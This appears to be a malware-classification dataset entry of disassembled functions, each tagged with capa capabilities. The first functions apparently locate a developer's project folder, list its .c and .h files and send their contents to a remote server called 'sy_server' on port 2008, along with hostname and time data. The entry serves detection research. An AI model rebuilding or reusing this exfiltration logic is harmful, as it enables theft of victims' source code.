joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42d330
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0xc], 0x6d
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x76
mov byte [ebp - 6], 0x32
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
mov byte [ebp - 1], 0
push 0xc
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004576e0
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0x4c
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x42d8d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
lea edi, [ebp - 0x68]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push str.sy_server
call sub.WSOCK32.dll_gethostbyname
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42d902
xor al, al
jmp 0x42d9d1
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
je 0x42d933
push 4
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.0045b940
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
call sub.WSOCK32.dll_inet_ntoa
mov dword [ebp - 8], eax
jmp 0x42d93a
xor al, al
jmp 0x42d9d1
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
mov dword [0x70d8d8], eax
cmp dword [0x70d8d8], 0xffffffff
jne 0x42d957
xor al, al
jmp 0x42d9d1
mov eax, dword [ebp - 8]
push eax
call sub.WSOCK32.dll_inet_addr
mov dword [ebp - 0x18], eax
push 2
push 4
lea ecx, [ebp - 0x18]
push ecx
call sub.WSOCK32.dll_gethostbyaddr
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42d989
mov edx, dword [0x70d8d8]
push edx
call sub.WSOCK32.dll_closesocket
xor al, al
jmp 0x42d9d1
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x24], eax
mov word [ebp - 0x28], 2
push 0x7d8
call sub.WSOCK32.dll_htons
mov word [ebp - 0x26], ax
push 0x10
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [0x70d8d8]
push edx
call sub.WSOCK32.dll_connect
test eax, eax
je 0x42d9cf
mov eax, dword [0x70d8d8]
push eax
call sub.WSOCK32.dll_closesocket
xor al, al
jmp 0x42d9d1
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0x68
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x42d9f0
Capabilities:
Get hostname
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
push ebx
push esi
push edi
lea edi, [ebp - 0x85c]
mov ecx, 0x217
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x404], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov word [ebp - 0x414], 0
xor eax, eax
mov dword [ebp - 0x412], eax
mov dword [ebp - 0x40e], eax
mov dword [ebp - 0x40a], eax
mov word [ebp - 0x406], ax
push 0
push 0x400
lea ecx, [ebp - 0x818]
push ecx
mov edx, dword [0x70d8d8]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
mov byte [ebp + eax - 0x818], 0
push str.auth_ncut_r_n
lea ecx, [ebp - 0x818]
push ecx
call fcn.00457c00
add esp, 8
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00457a80
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x70d8d8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x70d8d8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
mov byte [ebp + ecx - 0x818], 0
push 0x400
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00457a20
add esp, 0xc
push 0x80
push 0
push 0x70dcf8
call fcn.00457a20
add esp, 0xc
push 0x80
push 0x70dcf8
call sub.WSOCK32.dll_gethostname
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x42db3e
push str.lost
push 0x4deb90
push 0x70dcf8
call fcn.00457b00
add esp, 0xc
push 0x60
push 0
push 0x70dd18
call fcn.00457a20
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp esi, esp
call fcn.00457eb0
push 0x70dd98
mov ecx, dword [ebp - 0x40a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x412]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x414]
and edx, 0xffff
push edx
mov eax, dword [0x4ead54]
push eax
mov ecx, dword [0x4ead50]
push ecx
push 0x70dd78
push 0x70dcf8
push str.win32info__s_s_d__d_d_02d_02d_02d_02d_s_r_n
lea edx, [ebp - 0x404]
push edx
call fcn.00457b00
add esp, 0x30
lea eax, [ebp - 0x404]
push eax
push 0x4deb90
lea ecx, [ebp - 0x818]
push ecx
call fcn.00457b00
add esp, 0xc
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00457a80
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x70d8d8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x70d8d8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
pop edi
pop esi
pop ebx
add esp, 0x85c
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x42dc50
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
lea edi, [ebp - 0x450]
mov ecx, 0x114
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0x4deb04
mov eax, dword [ebp + 0xc]
push eax
call fcn.00458720
add esp, 8
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x42dc95
xor eax, eax
jmp 0x42ddce
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457a20
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
push str.modissend__s_r_n
lea eax, [ebp - 0x400]
push eax
call fcn.00457b00
add esp, 0xc
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457a80
add esp, 4
push eax
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_send
push 0
push 0x400
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, 1
test eax, eax
je 0x42dd6c
mov ecx, dword [ebp - 0x404]
push ecx
push 0x400
push 1
lea edx, [ebp - 0x400]
push edx
call fcn.004580a0
add esp, 0x10
mov dword [ebp - 0x408], eax
push 0
mov eax, dword [ebp - 0x408]
push eax
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_send
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x408], 0x400
jge 0x42dd6a
mov eax, dword [ebp - 0x404]
push eax
call fcn.00458a70
add esp, 4
jmp 0x42dd6c
jmp 0x42dd02
push 0x4df0cc
push str.SEND_OK
push str._s__s
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457b00
add esp, 0x10
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00457a80
add esp, 4
push eax
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x450
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x42ddf0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x984
push ebx
push esi
push edi
lea edi, [ebp - 0x984]
mov ecx, 0x261
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [0x70dcf0], 0
push 0x20000
push 0
push 0x6ed8d8
call fcn.00457a20
add esp, 0xc
push str._src.h
push 0x70dd98
push str._s_s
lea eax, [ebp - 0x544]
push eax
call fcn.00457b00
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x544]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00457eb0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42def7
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [0x70dcf0]
shl ecx, 0xa
add ecx, 0x6ed8d8
push ecx
call fcn.00457c00
add esp, 8
mov edx, dword [0x70dcf0]
add edx, 1
mov dword [0x70dcf0], edx
mov esi, esp
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00457eb0
test eax, eax
jne 0x42dea8
push str._src.c
push 0x70dd98
push str._s_s
lea edx, [ebp - 0x944]
push edx
call fcn.00457b00
add esp, 0x10
mov esi, esp
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x944]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00457eb0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42df8e
lea edx, [ebp - 0x114]
push edx
mov eax, dword [0x70dcf0]
shl eax, 0xa
add eax, 0x6ed8d8
push eax
call fcn.00457c00
add esp, 8
mov ecx, dword [0x70dcf0]
add ecx, 1
mov dword [0x70dcf0], ecx
mov esi, esp
lea edx, [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00457eb0
test eax, eax
jne 0x42df41
mov eax, dword [0x70dcf0]
pop edi
pop esi
pop ebx
add esp, 0x984
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x42dfb0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
lea edi, [ebp - 0x844]
mov ecx, 0x211
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x800], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x7ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x804], 0
jmp 0x42e01b
mov eax, dword [ebp - 0x804]
add eax, 1
mov dword [ebp - 0x804], eax
mov ecx, dword [ebp - 0x804]
cmp ecx, dword [0x70dcf0]
jge 0x42e097
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00457a20
add esp, 0xc
mov eax, dword [ebp - 0x804]
shl eax, 0xa
add eax, 0x6ed8d8
push eax
push str._src_
push 0x70dd98
push str._s_s_s
lea ecx, [ebp - 0x400]
push ecx
call fcn.00457b00
add esp, 0x14
mov edx, dword [ebp - 0x804]
shl edx, 0xa
add edx, 0x6ed8d8
push edx
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [0x70d8d8]
push ecx
call fcn.0042dc50
add esp, 0xc
jmp 0x42e00c
push 0x70dcf8
push str.win32name__s_r_n
lea edx, [ebp - 0x800]
push edx
call fcn.00457b00
add esp, 0xc
push 0
lea eax, [ebp - 0x800]
push eax
call fcn.00457a80
add esp, 4
push eax
lea ecx, [ebp - 0x800]
push ecx
mov edx, dword [0x70d8d8]
push edx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea eax, [ebp - 0x800]
push eax
mov ecx, dword [0x70d8d8]
push ecx
call sub.WSOCK32.dll_recv
pop edi
pop esi
pop ebx
add esp, 0x844
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x42e230
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3d90
call fcn.00458740
push ebx
push esi
push edi
lea edi, [ebp - 0x3d90]
mov ecx, 0xf64
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x3544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3d44], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3d43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1000
push 0
lea eax, [ebp - 0x1144]
push eax
call fcn.00457a20
add esp, 0xc
mov esi, esp
lea ecx, [ebp - 0x1144]
push ecx
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call fcn.00457eb0
lea edx, [ebp - 0x1144]
push edx
push 0x4deb90
lea eax, [ebp - 0x3544]
push eax
call fcn.00457b00
add esp, 0xc
lea ecx, [ebp - 0x3544]
push ecx
call fcn.00457a80
add esp, 4
cmp eax, 0x400
jbe 0x42e304
jmp 0x42e4a5
push str..dsw
lea edx, [ebp - 0x3544]
push edx
push str._s_s
lea eax, [ebp - 0x3d44]
push eax
call fcn.00457b00
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x3d44]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00457eb0
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42e37e
push 0x400
push 0
lea eax, [ebp - 0x3944]
push eax
call fcn.00457a20
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x3944]
push edx
call fcn.00457c00
add esp, 8
jmp 0x42e383
jmp 0x42e4a5
lea eax, [ebp - 0x3944]
push eax
call fcn.00457a80
add esp, 4
cmp eax, 4
ja 0x42e39c
jmp 0x42e4a5
push 0x2e
lea ecx, [ebp - 0x3944]
push ecx
call fcn.004589c0
add esp, 8
mov dword [ebp - 0x3d48], eax
cmp dword [ebp - 0x3d48], 0
je 0x42e3db
push 0x4df110
mov edx, dword [ebp - 0x3d48]
push edx
call fcn.00458db0
add esp, 8
test eax, eax
je 0x42e3d9
jmp 0x42e4a5
jmp 0x42e3e0
jmp 0x42e4a5
lea eax, [ebp - 0x3944]
push eax
call fcn.00457a80
add esp, 4
sub eax, 4
push eax
lea ecx, [ebp - 0x3944]
push ecx
push 0x70dd78
call fcn.004576e0
add esp, 0xc
push 0x5c
lea edx, [ebp - 0x3544]
push edx
call fcn.004589c0
add esp, 8
mov dword [ebp - 0x3d4c], eax
cmp dword [ebp - 0x3d4c], 0
je 0x42e460
lea eax, [ebp - 0x3544]
push eax
call fcn.00457a80
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x3d4c]
push ecx
call fcn.00457a80
add esp, 4
sub esi, eax
push esi
lea edx, [ebp - 0x3544]
push edx
push 0x70dd98
call fcn.004576e0
add esp, 0xc
jmp 0x42e462
jmp 0x42e4a5
call fcn.0042ddf0
test eax, eax
jle 0x42e4a5
mov esi, esp
push 0
push 0
push 0
push 0x42e110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.00457eb0
mov dword [ebp - 0x3d50], eax
mov esi, esp
mov eax, dword [ebp - 0x3d50]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00457eb0
pop edi
pop esi
pop ebx
add esp, 0x3d90
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret
Function at 0x44e680
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0x100
mov eax, dword [ebp + 0x10]
or ah, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
shl ecx, 1
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp + 0x10]
shr edx, 7
and edx, 1
push edx
mov eax, dword [ebp + 0x14]
and eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, eax
mov edx, dword [ebp + 0x10]
shr edx, 8
add ecx, edx
mov eax, dword [ebp + 0xc]
lea ecx, [eax + ecx*2]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0044e540
add esp, 0xc
mov eax, dword [ebp + 0x10]
shl eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
xor ecx, dword [ebp + 0x10]
not ecx
mov edx, dword [ebp - 4]
and edx, ecx
mov dword [ebp - 4], edx
cmp dword [ebp + 0x10], 0x10000
jb 0x44e6a8
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret

Function at 0x4508f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 8
mov edx, dword [ebp + 8]
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [ebp + 0xc]
shr ecx, 7
and ecx, 1
neg ecx
and ecx, 0x7ff
xor eax, ecx
sar eax, 4
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
add ecx, dword [edx + eax*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
shl edx, 1
mov dword [ebp + 0xc], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x450918
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x450970
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
lea edi, [ebp - 0x48]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x100
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
shl ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp + 0x10]
and edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, edx
mov ecx, dword [ebp + 0xc]
shr ecx, 8
add eax, ecx
mov edx, dword [ebp + 8]
xor ecx, ecx
mov cx, word [edx + eax*2]
mov edx, dword [ebp + 0xc]
shr edx, 7
and edx, 1
neg edx
and edx, 0x7ff
xor ecx, edx
sar ecx, 4
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
add edx, dword [eax + ecx*4]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
shl eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebp + 0xc]
not ecx
mov edx, dword [ebp - 8]
and edx, ecx
mov dword [ebp - 8], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x45099f
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x455230
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x4c], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x20], 0
mov eax, dword [ebp + 8]
push eax
call fcn.004552f0
add esp, 4
mov dword [ebp - 4], 0
jmp 0x455284
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x100
jae 0x4552d7
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
jmp 0x4552a5
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
jge 0x4552c8
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp - 8]
and edx, 1
sub edx, 1
not edx
and edx, 0xedb88320
xor ecx, edx
mov dword [ebp - 8], ecx
jmp 0x45529c
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + eax*4 + 0x6c], edx
jmp 0x45527b
pop edi
pop esi
pop ebx
add esp, 0x4c
cmp ebp, esp
call fcn.00457eb0
mov esp, ebp
pop ebp
ret

Function at 0x46cee0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x46ceff
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x46cf06
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x46cf1d
mov ecx, dword [ebp - 4]
push ecx
call fcn.004681b0
add esp, 4
or eax, 0xffffffff
jmp 0x46cf1f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x46cf30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x46cf5b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004681b0
add esp, 4
or eax, 0xffffffff
jmp 0x46cf8a
mov ecx, dword [ebp - 4]
and ecx, 1
test ecx, ecx
je 0x46cf88
mov edx, dword [ebp + 0xc]
and edx, 2
test edx, edx
je 0x46cf88
mov dword [0x714504], 0xd
mov dword [0x714508], 5
or eax, 0xffffffff
jmp 0x46cf8a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403070
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x48d020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403108
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4030e8
xor eax, eax
push ebp
push 0x4030e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403124
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4030e8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x48d020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x48d020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403df0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x49004c], 0
je 0x403e51
cmp word [0x490220], 0xd7b2
jne 0x403e19
cmp dword [0x490228], 0
jbe 0x403e19
mov eax, 0x49021c
call dword [0x490238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x48d06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e78
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x48d030], 0
jne 0x403e6d
push 0
push 0x48d064
push 0x48d06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405eb8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405f1e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004041dc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c34
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405f08
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f25
lea eax, [ebp - 0x10]
call fcn.00403f6c
ret

Function at 0x40b32c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b365
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040405c
jmp 0x40b36e
mov eax, ebx
mov edx, esi
call fcn.00403fc0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b378
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b399
mov al, byte [esp]
jmp 0x40b39b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40ba20
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b898
mov eax, dword [0x48f10c]
cmp byte [eax], 0
je 0x40ba9c
mov eax, dword [0x48eeb4]
call fcn.00402a64
call fcn.004028b4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004088ec
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bae4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bad2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x48ee58]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x490668]
call fcn.004053cc
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret